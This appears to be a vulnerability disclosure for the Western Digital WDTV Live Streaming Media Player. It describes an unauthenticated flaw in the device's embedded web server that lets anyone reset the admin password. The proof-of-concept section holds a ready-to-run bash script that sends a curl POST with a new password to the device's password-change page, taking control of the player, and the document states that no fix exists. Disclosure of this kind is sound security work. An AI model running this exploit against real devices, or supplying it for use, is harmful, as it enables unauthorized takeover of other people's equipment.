Description: A simple remotely exploitable web application vulnerability  
for the WDTV Live Streaming Media Player and possibly other WDTV systems.  
  
-INTRO-  
  
The WDTV Live SMP is a is a consumer device produced by Western Digital  
that plays videos, images, and music from USB drives. It can play  
high-definition video through an HDMI port, and standard video through  
composite video cables. It can play most common video and audio formats. As  
of August 2016, the WDTV appears to be discontinued.  
  
The latest firmware version appears to be 2.03.20.  
  
-VULNERABILITY-  
  
The WDTV Live SMP runs an embedded webserver, allowing authenticated users  
to upload themes, manage device settings, access a virtual remote and other  
tasks. To authenticate, a user needs to provide the correct password (no  
username).  
  
An unauthenticated attacker can update the password via a constructed GET  
request, subsequently taking control of many functions of the device.  
  
Vulnerable versions include at least firmware 2.03.20, and likely many more  
older versions.  
  
-POC-  
  
#!/bin/bash  
  
echo  
echo "WDTV Live SMP Admin Password Reset Exploit"  
echo "Apparently sw1tch found this guff in 2017"  
echo  
if [ $# != 2 ]; then  
echo "Usage: `basename $0` <target IP/host> <new password>"  
echo  
exit $ERR_ARG  
fi  
  
# Vars...  
target=$1  
password=$2  
  
echo -n "[*] Slamming your chosen password at $target now..."  
curl "http://$target/DB/modfiy_pw.php" -d "password=$password"  
echo "done!"  
echo "[*] Try logging in to http://$target/ using $password"  
echo  
exit 0  
  
-FIX-  
  
None available. Device appears to be EOL so unlikely to be remediated.
